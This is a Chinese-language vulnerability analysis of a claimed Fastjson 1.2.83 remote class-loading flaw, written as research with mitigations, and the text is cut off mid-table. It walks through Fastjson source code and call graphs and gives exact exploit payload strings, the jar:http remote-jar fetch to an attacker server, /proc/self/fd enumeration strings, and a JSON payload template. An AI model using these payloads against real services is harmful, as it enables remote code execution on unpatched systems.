Fastjson 1.2.83 0day @JSONType`预扫描导致的远程类加载与代码执行风险分析
Fastjson 1.2.83 @JSONType 预扫描导致的远程类加载与代码执行风险分析
1. 摘要
Fastjson 1.2.83 的 ParserConfig.checkAutoType 存在 @JSONType 预扫描逻辑:它会把用户可控的 @type 值转换为 class resource 路径,读取 class 字节,并仅凭 class 上存在 @JSONType 注解将 jsonType 标记为 true。jsonType=true 会进入 autoTypeSupport || jsonType || expectClassFlag 放行条件,因此即使 autoTypeSupport=false,仍可继续执行 TypeUtils.loadClass(typeName, ...)。
在 Spring Boot fat jar 环境中,攻击者可通过 jar:http 触发 JDK 下载远程 jar,并使目标进程产生 /tmp/jar_cache*.tmp (deleted) 文件描述符;随后同一请求中的 jar:file:.proc.self.fd.N!... 可枚举命中该 fd,使 Fastjson 从远程 jar cache 中读取、加载并实例化攻击者提供的 class。该链路不依赖目标业务 classpath 中存在传统 gadget 类,JSON.parseObject(body, Dto.class) 绑定外层 DTO 也不能阻止字段级 @type 继续触发类型解析。可靠缓解方式是启用 SafeMode 或迁移至 Fastjson 2.x。
验证环境如下:
Fastjson: 1.2.83
SafeMode: false
AutoType: false
Runtime: Linux
Deployment: Spring Boot executable fat jar, java -jar 启动
ClassLoader: org.springframework.boot.loader.LaunchedURLClassLoader
关键文件系统能力: /proc/self/fd/N
单请求复现结论如下:
Target endpoint: POST http://127.0.0.1:18080/api/real/parse
Attacker jar: http://127.0.0.1:18081/REMOTE
Payload shape: jar:http + jar:file:.proc.self.fd.N
HTTP status: 200
markerExists=true
markerContent=jar-http-fd-chain constructor executed fd=35
/proc/<target-pid>/fd/35 -> /tmp/jar_cache5195082310316770587.tmp (deleted)
复现过程中使用受控 marker class。该 class 仅通过 Java 标准 API 写入固定文件 /tmp/rce-fastjson.txt,未包含系统命令、反连 shell 或外部网络连接逻辑。该验证用于证明安全边界被突破:外部 jar 中的 class 字节可经 Fastjson 的 checkAutoType -> @JSONType 预扫描 -> TypeUtils.loadClass -> 对象实例化 路径进入目标进程,并执行构造器代码。
修复建议为启用 Fastjson SafeMode 或迁移至 Fastjson 2.x。仅关闭 autoTypeSupport、仅使用 JSON.parseObject(body, Dto.class) 绑定目标 DTO、或仅移除传统 gadget 依赖,均不能覆盖本文验证的链路。
2. 背景与安全边界
Fastjson 1.x 支持通过 JSON 特殊字段 @type 指定反序列化目标类型。该机制用于多态反序列化,但也将不可信请求体与 Java 类型解析、class resource 读取和 ClassLoader 类加载路径连接起来。
常规风险模型如下:
外部请求体
-> JSON.parse / JSON.parseObject
-> 发现 @type
-> ParserConfig.checkAutoType
-> ClassLoader.loadClass
-> JavaBeanDeserializer 实例化对象
历史 Fastjson 反序列化漏洞的处置通常依赖以下策略:
- 关闭
autoTypeSupport; - 使用
JSON.parseObject(body, Dto.class)绑定目标 DTO; - 从 classpath 中移除已知危险 gadget;
- 依赖 Fastjson deny list;
- 升级到较新 1.x 版本。
本文验证表明,上述策略不能完整覆盖 @JSONType 预扫描链路。原因在于该链路不要求 autoTypeSupport=true,也不要求目标业务系统 classpath 中预置传统危险 gadget。只要运行环境允许 Fastjson 读取攻击者可控 class resource,并且该 class 满足 @JSONType 预扫描条件,即可进入后续类加载与实例化流程。
3. 漏洞链路概览
完整攻击链分为七个阶段:
阶段一:进入 Fastjson 内置 @JSONType 类型
@type = com.alibaba.fastjson.support.geo.Feature
阶段二:进入 Feature.properties 的 Map 解析器
MapDeserializer 处理 properties 内部 @type
阶段三:Map 内部 @type 触发 checkAutoType
checkAutoType(typeName, null, ...)
阶段四:jar:http 触发远程 jar 读取
jar:http://host:port/REMOTE!.Eremote...
阶段五:JDK 生成 jar_cache 文件描述符
/tmp/jar_cache*.tmp (deleted)
阶段六:后续 fd 枚举命中 jar cache
jar:file:.proc.self.fd.35!.E35remote...
阶段七:jsonType 预扫描放行后加载并实例化 class
typeName.replace('.', '/') + ".class"
TypeUtils.loadClass(typeName, ...)
关键差异在于 typeName 不再只是普通 Java 类名,而是同时承担 class resource 定位符和 ClassLoader binary name 的角色。例如:
jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
Fastjson 预扫描阶段执行:
typeName.replace('.', '/') + ".class"
于是该字符串会变成:
jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
该字符串符合 jar URL resource 格式:jar:file:/path/to/jar!/entry.class。在 Spring Boot fat jar 环境下,LaunchedURLClassLoader 可读取该类 resource,并进一步配合 TypeUtils.loadClass 完成类加载。
4. 漏洞调用链与调用图
4.1 入口调用链
目标服务中的典型入口如下:
@PostMapping("/api/real/parse")
public String parse(@RequestBody String body) {
RealRequest request = JSON.parseObject(body, RealRequest.class);
}
该入口对应的 Fastjson 调用链如下:
HTTP request body
-> JSON.parseObject(body, RealRequest.class)
JSON.java:297-299
-> JSON.parseObject(input, type, config, processor, featureValues, features)
JSON.java:366-379
-> new DefaultJSONParser(input, config, featureValues)
JSON.java:378
-> parser.parseObject(clazz)
JSON.java:343-344 / JSON.java:378-384
-> DefaultJSONParser.parseObject(type)
DefaultJSONParser.java:696-705
-> JavaBeanDeserializer.deserialze(...)
DefaultJSONParser.java:699-703
入口代码:
src/main/java/com/alibaba/fastjson/JSON.java:297
297 public static <T> T parseObject(String json, Class<T> clazz, Feature... features) {
298 return (T) parseObject(json, (Type) clazz, ParserConfig.global, null, DEFAULT_PARSER_FEATURE, features);
299 }
Parser 创建与解析分发:
src/main/java/com/alibaba/fastjson/JSON.java:378
378 DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
...
384 object = parser.parseObject(clazz, null);
src/main/java/com/alibaba/fastjson/parser/DefaultJSONParser.java:696
696 ObjectDeserializer deserializer = config.getDeserializer(type);
...
699 if (deserializer.getClass() == JavaBeanDeserializer.class) {
700 if (lexer.token()!= JSONToken.LBRACE && lexer.token()!=JSONToken.LBRACKET) {
...
703 return (T) ((JavaBeanDeserializer) deserializer).deserialze(this, type, fieldName, 0);
704 } else {
705 return (T) deserializer.deserialze(this, type, fieldName);
4.2 字段级 @type 调用链
DTO 绑定后,外层对象类型固定为 RealRequest.class,但字段值仍由字段反序列化器处理。当字段内部出现 @type,Fastjson 会重新进入 checkAutoType。
JavaBeanDeserializer.deserialze(...)
-> 解析字段 key
-> 命中 JSON.DEFAULT_TYPE_KEY,即 "@type"
JavaBeanDeserializer.java:786-790
-> 读取 typeName
JavaBeanDeserializer.java:790
-> 取字段声明类型作为 expectClass
JavaBeanDeserializer.java:805-806
-> ParserConfig.checkAutoType(typeName, expectClass, lexer.getFeatures())
JavaBeanDeserializer.java:822-823
关键代码:
src/main/java/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:786
786 if ((typeKey != null && typeKey.equals(key))
787 || JSON.DEFAULT_TYPE_KEY == key) {
788 lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
789 if (lexer.token() == JSONToken.LITERAL_STRING) {
790 String typeName = lexer.stringVal();
...
805 if (deserializer == null) {
806 Class<?> expectClass = TypeUtils.getClass(type);
...
822 if (userType == null) {
823 userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
因此,JSON.parseObject(body, Dto.class) 只固定了最外层目标类型,不能阻止嵌套字段继续处理 @type。
4.3 Feature.properties 与 Map 容错调用链
样例 payload 使用 Fastjson 内置 com.alibaba.fastjson.support.geo.Feature。该类带有 @JSONType 注解,且 properties 字段为 Map 类型:
Feature
-> @JSONType
-> properties: Map<String, String>
当 properties 对象内部出现 @type 时,会进入 MapDeserializer。该路径的关键点是:MapDeserializer 对 checkAutoType 抛出的 JSONException 做了容错处理,失败候选 fd 会降级为 HashMap.class,整个数组链不会因为单个 fd 猜测失败而终止。
Feature.properties
-> MapDeserializer.deserialze(...)
-> 读取 properties 内部 "@type"
MapDeserializer.java:174-190
-> ParserConfig.checkAutoType(typeName, null, lexer.getFeatures())
MapDeserializer.java:191
-> 失败时 catch JSONException
MapDeserializer.java:192-195
-> clazz = HashMap.class,继续解析后续字段/后续数组元素
MapDeserializer.java:193-204
关键代码:
src/main/java/com/alibaba/fastjson/parser/deserializer/MapDeserializer.java:174
174 if (key == JSON.DEFAULT_TYPE_KEY
175 && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
176 String typeName = lexer.scanSymbol(symbolTable, '"');
...
190 try {
191 clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
192 } catch (JSONException ex) {
193 returnClass = HashMap.class;
194 clazz = null;
195 }
src/main/java/com/alibaba/fastjson/parser/deserializer/MapDeserializer.java:198
198 if (Map.class.isAssignableFrom(clazz) ) {
199 lexer.nextToken(JSONToken.COMMA);
200 if (lexer.token() == JSONToken.RBRACE) {
201 lexer.nextToken(JSONToken.COMMA);
202 return map;
203 }
204 continue;
该容错行为解释了原始 EXP 中 chain 数组的作用:第一项负责 jar:http 远程 jar 投递,后续多项负责枚举 /proc/self/fd/N,失败项不终止解析,命中项执行构造器。
4.4 checkAutoType 内部调用链
ParserConfig.checkAutoType 是漏洞触发的核心函数。相关调用链如下:
ParserConfig.checkAutoType(typeName, expectClass, features)
-> SafeMode 检查
ParserConfig.java:1325-1330
-> 计算 autoTypeSupport
ParserConfig.java:1333-1336
-> 计算 expectClassFlag
ParserConfig.java:1342-1361
-> 使用 typeName 构造 class resource
ParserConfig.java:1479-1483
-> classLoader.getResourceAsStream(resourceName)
ParserConfig.java:1485
-> ASM ClassReader 读取 class
ParserConfig.java:1487-1488
-> TypeCollector.hasJsonType()
ParserConfig.java:1489
-> autoTypeSupport || jsonType || expectClassFlag
ParserConfig.java:1500
-> TypeUtils.loadClass(typeName, defaultClassLoader, true)
ParserConfig.java:1502
-> classLoader.loadClass(className)
TypeUtils.java:1761
关键预扫描代码:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479
1479 boolean jsonType = false;
1480 InputStream is = null;
1481 try {
1482 String resource = typeName.replace('.', '/') + ".class";
1483 if (defaultClassLoader != null) {
1484 is = defaultClassLoader.getResourceAsStream(resource);
1485 } else {
1486 is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
1487 }
1488 if (is != null) {
1489 ClassReader classReader = new ClassReader(is, true);
1490 TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
1491 classReader.accept(visitor);
1492 jsonType = visitor.hasJsonType();
关键放行条件:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1500
1500 if (autoTypeSupport || jsonType || expectClassFlag) {
1501 boolean cacheClass = autoTypeSupport || jsonType;
1502 clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
类加载代码:
src/main/java/com/alibaba/fastjson/util/TypeUtils.java:1758
1758 if (classLoader != null) {
1759 try {
1760 Class<?> clazz = classMapping.get(className);
1761 clazz = classLoader.loadClass(className);
1762
1763 if (cache) {
1764 classMapping.put(className, clazz);
1765 }
1766
1767 return clazz;
4.5 调用图
flowchart TD
A["HTTP POST /api/real/parse"] --> B["JSON.parseObject(body, RealRequest.class)<br/>JSON.java:297"]
B --> C["DefaultJSONParser.parseObject(type)<br/>DefaultJSONParser.java:696"]
C --> D["JavaBeanDeserializer.deserialze<br/>DefaultJSONParser.java:699-703"]
D --> E["字段级 @type 解析<br/>JavaBeanDeserializer.java:786-823"]
E --> F["Feature.properties<br/>MapDeserializer"]
F --> G["MapDeserializer 处理 properties.@type<br/>MapDeserializer.java:174-195"]
G --> H["ParserConfig.checkAutoType(typeName, null, features)<br/>MapDeserializer.java:191"]
H --> I["typeName.replace('.', '/') + '.class'<br/>ParserConfig.java:1482"]
I --> J["ClassLoader.getResourceAsStream(resource)<br/>ParserConfig.java:1483-1487"]
J --> K["ASM ClassReader + TypeCollector.hasJsonType<br/>ParserConfig.java:1488-1492"]
K --> L["autoTypeSupport || jsonType || expectClassFlag<br/>ParserConfig.java:1500"]
L --> M["TypeUtils.loadClass(typeName)<br/>ParserConfig.java:1502"]
M --> N["classLoader.loadClass(className)<br/>TypeUtils.java:1761"]
N --> O["JavaBeanDeserializer 创建对象实例"]
O --> P["外部 class 构造器执行<br/>/tmp/rce-fastjson.txt"]
4.6 jar:http 到 /proc/self/fd 的运行时调用图
sequenceDiagram
participant Client as 攻击请求
participant Target as Spring Boot / Fastjson
participant JDK as JDK JarURLConnection
participant Attacker as Attacker HTTP Server
participant Proc as /proc/self/fd
participant Loader as LaunchedURLClassLoader
Client->>Target: POST JSON chain
Target->>Target: 解析 Feature.properties.@type
Target->>JDK: getResourceAsStream("jar:http://.../REMOTE!/Eremote.class")
JDK->>Attacker: GET /REMOTE
Attacker-->>JDK: 返回 REMOTE jar
JDK->>Target: 生成 /tmp/jar_cache*.tmp (deleted)
Target->>Target: 继续解析 chain 后续元素
Target->>Proc: getResourceAsStream("jar:file:/proc/self/fd/35!/E35remote.class")
Proc-->>Loader: fd35 指向 jar_cache
Loader->>Target: 返回 E35remote.class 字节
Target->>Target: ASM 检测 @JSONType
Target->>Loader: loadClass("jar:file:.proc.self.fd.35!.E35remote...")
Loader-->>Target: 返回 Class
Target->>Target: 实例化 class
Target->>Proc: 构造器写入 /tmp/rce-fastjson.txt
4.7 关键代码映射表
| 阶段 | 代码位置 | 关键行为 | 安全影响 |
|---|---|---|---|
| HTTP 入口 | JSON.java:297-299 |
JSON.parseObject(body, Dto.class) 进入 Fastjson |
DTO 绑定只固定外层类型 |
| Parser 创建 | JSON.java:378-384 |
创建 DefaultJSONParser 并解析目标类型 |
进入 Fastjson 标准 JavaBean 解析流程 |
| JavaBean 分发 | DefaultJSONParser.java:696-705 |
获取反序列化器并调用 JavaBeanDeserializer |
字段级解析开始 |
字段级 @type |
JavaBeanDeserializer.java:786-823 |
字段内部 @type 调用 checkAutoType |
DTO 绑定无法阻止嵌套类型选择 |
| Map 容错 | MapDeserializer.java:174-195 |
properties.@type 失败时降级为 HashMap |
支持 fd 枚举链多次试错 |
| resource 构造 | ParserConfig.java:1479-1485 |
typeName.replace('.', '/') + ".class" |
用户输入影响 class resource 路径 |
| 注解预扫描 | ParserConfig.java:1488-1492 |
ASM 判断 @JSONType |
外部 class 可设置 jsonType=true |
| 条件放行 | ParserConfig.java:1500-1502 |
jsonType=true 进入 loadClass |
绕过 autoTypeSupport=false |
| 类加载 | TypeUtils.java:1758-1767 |
classLoader.loadClass(className) |
加载远程 jar cache 中的 class |
| 构造执行 | JavaBeanDeserializer 实例化流程 |
调用默认构造器 | 触发外部 class 代码 |
5. 根因分析
5.1 SafeMode 前置拦截与 AutoType 开关差异
源码位置:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1325
代码片段:
1325 final int safeModeMask = Feature.SafeMode.mask;
1326 boolean safeMode = this.safeMode
1327 || (features & safeModeMask) != 0
1328 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
1329 if (safeMode) {
1330 throw new JSONException("safeMode not support autoType : " + typeName);
分析:
SafeMode 是 checkAutoType 中最靠前的拦截逻辑。只要 SafeMode 生效,后续 autoTypeSupport、expectClassFlag、jsonType 预扫描都不会执行。
紧接着 Fastjson 才计算 AutoType 状态:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1333
1333 final int mask = Feature.SupportAutoType.mask;
1334 boolean autoTypeSupport = this.autoTypeSupport
1335 || (features & mask) != 0
1336 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
安全含义:
SafeMode=true 表示禁止 AutoType 机制进入后续解析分支;autoTypeSupport=false 只是让 autoTypeSupport 这个条件为 false。后续仍可能因为 jsonType=true 或 expectClassFlag=true 进入类加载流程。
结论:
SafeMode 是有效缓解;单纯关闭 AutoType 不是完整缓解。
5.2 外层 DTO 绑定与字段级多态解析分离
常见误区如下:
JSON.parseObject(body, Dto.class)
已经指定了反序列化目标类型,因此攻击者无法控制实际类型。该理解不完整。Fastjson 解析 JavaBean 字段时,字段内部仍可出现 @type。
源码位置:
src/main/java/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:786
代码片段:
786 if ((typeKey != null && typeKey.equals(key))
787 || JSON.DEFAULT_TYPE_KEY == key) {
788 lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
789 if (lexer.token() == JSONToken.LITERAL_STRING) {
790 String typeName = lexer.stringVal();
...
805 if (deserializer == null) {
806 Class<?> expectClass = TypeUtils.getClass(type);
...
822 if (userType == null) {
823 userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
分析:
当字段对象中出现 @type 时,Fastjson 会取字段声明类型作为 expectClass,再调用:
config.checkAutoType(typeName, expectClass, lexer.getFeatures());
因此,DTO 绑定只约束外层入口类型,不代表内部字段不再处理 @type。
expectClassFlag 逻辑如下:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1342
1342 final boolean expectClassFlag;
1343 if (expectClass == null) {
1344 expectClassFlag = false;
1345 } else {
1346 long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
...
1357 ) {
1358 expectClassFlag = false;
1359 } else {
1360 expectClassFlag = true;
1361 }
分析:
如果 expectClass 不属于硬编码排除类型,expectClassFlag 会被设置为 true。后续条件 autoTypeSupport || jsonType || expectClassFlag 仍可能成立。
安全含义:
JSON.parseObject(body, Dto.class) 不是完整安全边界。只要 DTO 字段允许对象、接口、父类、抽象类或其他可多态结构,字段内部 @type 仍可能触发类型解析。
5.3 用户可控 typeName 参与 class resource 定位
该链路的核心缺陷位于 ParserConfig.checkAutoType 的 jsonType 预扫描分支。
源码位置:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479
代码片段:
1479 boolean jsonType = false;
1480 InputStream is = null;
1481 try {
1482 String resource = typeName.replace('.', '/') + ".class";
1483 if (defaultClassLoader != null) {
1484 is = defaultClassLoader.getResourceAsStream(resource);
1485 } else {
1486 is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
1487 }
1488 if (is != null) {
1489 ClassReader classReader = new ClassReader(is, true);
1490 TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
1491 classReader.accept(visitor);
1492 jsonType = visitor.hasJsonType();
分析:
typeName 来自 JSON 中的 @type。Fastjson 没有先确认它是常规 Java 类名,而是直接执行:
String resource = typeName.replace('.', '/') + ".class";
该逻辑在普通类名场景下是合理的:
typeName:
com.alibaba.fastjson.support.geo.Feature
resource:
com/alibaba/fastjson/support/geo/Feature.class
但当 typeName 是 URL-like 字符串时,会产生完全不同的效果:
typeName:
jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
resource:
jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
这已经不再是普通 classpath resource,而是可被部分 ClassLoader 解析的 jar URL resource。
安全含义:
用户输入同时控制了:
- resource scheme:
jar:file: - jar 文件路径:
/proc/self/fd/20 - jar entry:
Eproc25d22e68c1ef25e1.class
这使 checkAutoType 从“检查本地类名”扩展成了“读取用户可影响的 class 字节”。
5.4 jar:http resource 解析触发远程 jar 下载
远程下载并非由业务代码主动发起,而是由 Fastjson 的 @JSONType 预扫描间接触发。触发条件是:攻击者控制的 typeName 被构造成 jar:http://...!.E... 形式,经过 Fastjson 的点号替换后,变成标准 jar URL resource。
输入的 typeName:
jar:http://localhost:18081/REMOTE!.Eremote25d22e68c1ef25e1
Fastjson 预扫描阶段执行:
String resource = typeName.replace('.', '/') + ".class";
转换后的 resource:
jar:http://localhost:18081/REMOTE!/Eremote25d22e68c1ef25e1.class
该字符串符合 JDK jar URL 格式:
jar:<jar-file-url>!/<entry-name>
其中:
jar-file-url = http://localhost:18081/REMOTE
entry-name = Eremote25d22e68c1ef25e1.class
源码位置:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479
1479 boolean jsonType = false;
1480 InputStream is = null;
1481 try {
1482 String resource = typeName.replace('.', '/') + ".class";
1483 if (defaultClassLoader != null) {
1484 is = defaultClassLoader.getResourceAsStream(resource);
1485 } else {
1486 is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
分析:
Fastjson 没有校验 resource 是否为普通 classpath resource,也没有限制 jar:、http: 等 URL scheme。resource 被直接交给当前 ClassLoader 的 getResourceAsStream。在 Spring Boot executable fat jar 环境中,ParserConfig.class.getClassLoader() 为 org.springframework.boot.loader.LaunchedURLClassLoader,其资源查找最终会进入 JDK URL/Jar 资源处理逻辑。
JDK 处理 jar:http://host/REMOTE!/Entry.class 时,必须先取得外层 jar 文件 http://host/REMOTE,才能在 jar 中定位 Entry.class。因此,即使 Fastjson 只是尝试读取一个 class resource,底层 JarURLConnection 也会向 attacker HTTP server 发起请求,下载整个 REMOTE jar。
独立探针验证结果:
url=jar:http://localhost:18081/REMOTE!/E237remote25d22e68c1ef25e1.class
connectionClass=sun.net.www.protocol.jar.JarURLConnection
useCachesBefore=true
useCachesAfter=true
jarFileURL=http://localhost:18081/REMOTE
entryName=E237remote25d22e68c1ef25e1.class
readBytes=560
目标进程文件描述符证据:
/proc/<pid>/fd/16 -> /tmp/jar_cache1592706594314070498.tmp (deleted)
attacker HTTP server 日志:
127.0.0.1 - - [20/Jul/2026 23:40:06] "GET /REMOTE HTTP/1.1" 200 -
127.0.0.1 - - [20/Jul/2026 23:40:06] "GET /REMOTE HTTP/1.1" 200 -
安全含义:
远程恶意 class 的下载链路由以下条件共同触发:
用户控制 @type
-> Fastjson 将 @type 转换为 resource
-> resource 形态为 jar:http://...!/Entry.class
-> ClassLoader.getResourceAsStream(resource)
-> JDK JarURLConnection 请求 http://.../REMOTE
-> 远程 jar 被缓存为 /tmp/jar_cache*.tmp (deleted)
因此,远程下载不是业务显式下载行为,而是 Fastjson 预扫描与 JDK jar URL 解析机制组合后的副作用。
5.5 ASM 注解检测缺少来源可信性约束
Fastjson 读取 class resource 后,会用自带 ASM 解析 class 注解。
源码位置:
src/main/java/com/alibaba/fastjson/asm/TypeCollector.java:71
代码片段:
71 public void visitAnnotation(String desc) {
72 if (JSONType.equals(desc)) {
73 jsonType = true;
74 }
源码位置:
src/main/java/com/alibaba/fastjson/asm/TypeCollector.java:106
106 public boolean hasJsonType() {
107 return jsonType;
分析:
TypeCollector 的判断非常简单:只要 class 的运行时可见注解中存在 Lcom/alibaba/fastjson/annotation/JSONType;,jsonType 就会变成 true。
该判断不验证:
- class 字节来源是否可信;
- class binary name 是否是常规 Java 源码命名;
- class 是否来自应用 classpath;
- class 是否属于业务允许的包名前缀。
安全含义:
攻击者控制的 class 字节只要带 @JSONType 注解,就能影响 checkAutoType 的安全决策。
5.6 jsonType 分支独立触发类加载
源码位置:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1500
代码片段:
1500 if (autoTypeSupport || jsonType || expectClassFlag) {
1501 boolean cacheClass = autoTypeSupport || jsonType;
1502 clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
1503 }
1504
1505 if (clazz != null) {
1506 if (jsonType) {
1507 if (autoTypeSupport) {
1508 TypeUtils.addMapping(typeName, clazz);
1509 }
1510 return clazz;
分析:
关键条件是:
autoTypeSupport || jsonType || expectClassFlag
当 autoTypeSupport=false 时,只要 jsonType=true,条件仍然成立。Fastjson 随后执行:
TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass)
如果加载成功,jsonType 分支直接返回该类。
安全含义:
@JSONType 预扫描实际上构成了 AutoType 关闭状态下的另一条放行通道。
5.7 资源路径转换与原始类名加载不一致
源码位置:
src/main/java/com/alibaba/fastjson/util/TypeUtils.java:1735
代码片段:
1735 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
...
1759 try {
1760 if (classLoader != null) {
1761 clazz = classLoader.loadClass(className);
...
1772 ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
1773 if (contextClassLoader != null && contextClassLoader != classLoader) {
1774 clazz = contextClassLoader.loadClass(className);
...
1783 try {
1784 clazz = Class.forName(className);
分析:
预扫描阶段使用的是转换后的 resource:
typeName.replace('.', '/') + ".class"
加载阶段使用的是原始 typeName:
jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
因此链路成立需要 ClassLoader 同时满足两个条件:
1. getResourceAsStream("jar:file:/proc/self/fd/20!/E...class") 能读到 class 字节
2. loadClass("jar:file:.proc.self.fd.20!.E...") 能加载同名 binary class
验证结果表明,在 Spring Boot fat jar 的 LaunchedURLClassLoader 场景中,上述闭环可以成立。
6. Fastjson 内置 Feature 类型的作用
6.1 Feature 是稳定入口
源码位置:
src/main/java/com/alibaba/fastjson/support/geo/Feature.java:8
代码片段:
8 /**
9 * @since 1.2.68
10 */
11 @JSONType(typeName = "Feature", orders = {"type", "id", "bbox", "coordinates", "properties"})
12 public class Feature
13 extends Geometry {
14 private String id;
15 private Geometry geometry;
16 private Map<String, String> properties = new LinkedHashMap<String, String>();
分析:
Feature 从 Fastjson 1.2.68 起随库自带,且标注 @JSONType。它不是传统意义上的危险 gadget,但它可以稳定触发 Fastjson 的 @JSONType 处理路径。
6.2 properties 提供可容错的嵌套触发点
源码位置:
src/main/java/com/alibaba/fastjson/support/geo/Feature.java:30
代码片段:
30 public Map<String, String> getProperties() {
31 return properties;
32 }
33
34 public void setProperties(Map<String, String> properties) {
35 this.properties = properties;
分析:
properties 是 Map<String,String>。如果 JSON 中 properties 对象内部继续出现 @type,会进入 MapDeserializer 的 @type 特殊分支。
源码位置:
src/main/java/com/alibaba/fastjson/parser/deserializer/MapDeserializer.java:174
代码片段:
174 if (key == JSON.DEFAULT_TYPE_KEY
175 && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)
176 && !Feature.isEnabled(features, Feature.DisableSpecialKeyDetect)
177 ) {
178 String typeName = lexer.scanSymbol(parser.getSymbolTable(), '"');
...
190 try {
191 clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
192 } catch (JSONException ex) {
193 // skip
194 clazz = java.util.HashMap.class;
195 }
分析:
内层 properties.@type 调用的是:
config.checkAutoType(typeName, null, lexer.getFeatures());
这里 expectClass=null。如果某个候选 fd 不存在或 class resource 无法读取,JSONException 会被捕获,clazz 降级为 HashMap.class,解析继续。
源码位置:
src/main/java/com/alibaba/fastjson/parser/deserializer/MapDeserializer.java:198
198 if (Map.class.isAssignableFrom(clazz) ) {
199 lexer.nextToken(JSONToken.COMMA);
200 if (lexer.token() == JSONToken.RBRACE) {
201 lexer.nextToken(JSONToken.COMMA);
202 return map;
203 }
204 continue;
安全含义:
MapDeserializer 的异常吞噬使 fd 枚举具有容错性。多个失败尝试不会中断整个请求解析,因此 chain 数组可以批量测试多个 /proc/self/fd/N。
7. jar:file:.proc.self.fd.N!.E... 的路径转换原理
这类字符串看起来不像 Java 类名,但对该链路而言,它同时满足两个目标:
作为 Fastjson typeName:
jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1
作为预扫描 resource:
jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
7.1 /proc/self/fd/N 的作用
普通 jar 路径通常包含点号:
/tmp/a.jar
Fastjson 会执行 replace('.', '/'),导致路径变成:
/tmp/a/jar
路径被破坏。
Linux /proc/self/fd/N 不包含点号,替换后仍保持有效路径:
.proc.self.fd.20 -> /proc/self/fd/20
7.2 !.E... 的作用
jar URL 使用 !/{entry} 分隔 jar 文件和内部 entry:
jar:file:/path/to/file!/Entry.class
输入中的:
!.Eproc25d22e68c1ef25e1
经过点号替换后变成:
!/Eproc25d22e68c1ef25e1
再追加 .class,得到:
!/Eproc25d22e68c1ef25e1.class
这正好是 jar entry 路径。
8. Spring Boot fat jar 环境差异
普通 classpath 启动和 Spring Boot fat jar 启动的 ClassLoader 行为不同。
8.1 普通 classpath 启动
普通 IDE 或 Maven 启动时,Fastjson 所在 ClassLoader 通常是:
sun.misc.Launcher$AppClassLoader
classpath URL 通常是:
file:/path/to/fastjson-1.2.83.jar
验证结果:
jar:file:/proc/self/fd/12!/E.class -> NOT FOUND
jar:file:/path/fastjson-1.2.83.jar!/com/alibaba/fastjson/JSON.class -> NOT FOUND
结论:
普通 classpath 启动不能直接解释 /proc/self/fd 链路。
8.2 Spring Boot executable fat jar 启动
Spring Boot fat jar 使用:
org.springframework.boot.loader.LaunchedURLClassLoader
验证代码位置:
/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/BootLoaderProbeApplication.java:17
代码片段:
17 ClassLoader cl = ParserConfig.class.getClassLoader();
18 Thread.currentThread().setContextClassLoader(cl);
19 System.out.println("parserConfigLoader=" + cl.getClass().getName());
20 System.out.println("contextLoader=" + Thread.currentThread().getContextClassLoader().getClass().getName());
21 if (cl instanceof URLClassLoader) {
22 URL[] urls = ((URLClassLoader) cl).getURLs();
23 System.out.println("urlCount=" + urls.length);
24 for (int i = 0; i < Math.min(8, urls.length); i++) {
25 System.out.println("url[" + i + "]=" + urls[i]);
Ubuntu 输出:
parserConfigLoader=org.springframework.boot.loader.LaunchedURLClassLoader
contextLoader=org.springframework.boot.loader.LaunchedURLClassLoader
url[0]=jar:file:/tmp/fastjson1283rce-bootprobe.jar!/BOOT-INF/classes!/
url[1]=jar:file:/tmp/fastjson1283rce-bootprobe.jar!/BOOT-INF/lib/spring-boot-2.6.13.jar!/
验证结果表明,Spring Boot fat jar loader 可以读取存在的绝对 jar:file: resource:
resource=jar:file:/private/tmp/fd/12!/E.class
url=jar:file:/private/tmp/fd/12!/E.class
stream=read:202
在 Linux 主机上,进一步验证 /proc/self/fd/N 形式也可以读取:
resource=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
url=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
stream=read:202
9. 样例载荷结构解析
抽象结构:
{
"sdkVersion": {
"chain": [
{
"@type": "com.alibaba.fastjson.support.geo.Feature",
"properties": {
"@type": "jar:file:.proc.self.fd.N!.E...",
"x": 1
}
}
]
}
}
字段含义:
| 字段 | 作用 | 对应代码 |
|---|---|---|
chain |
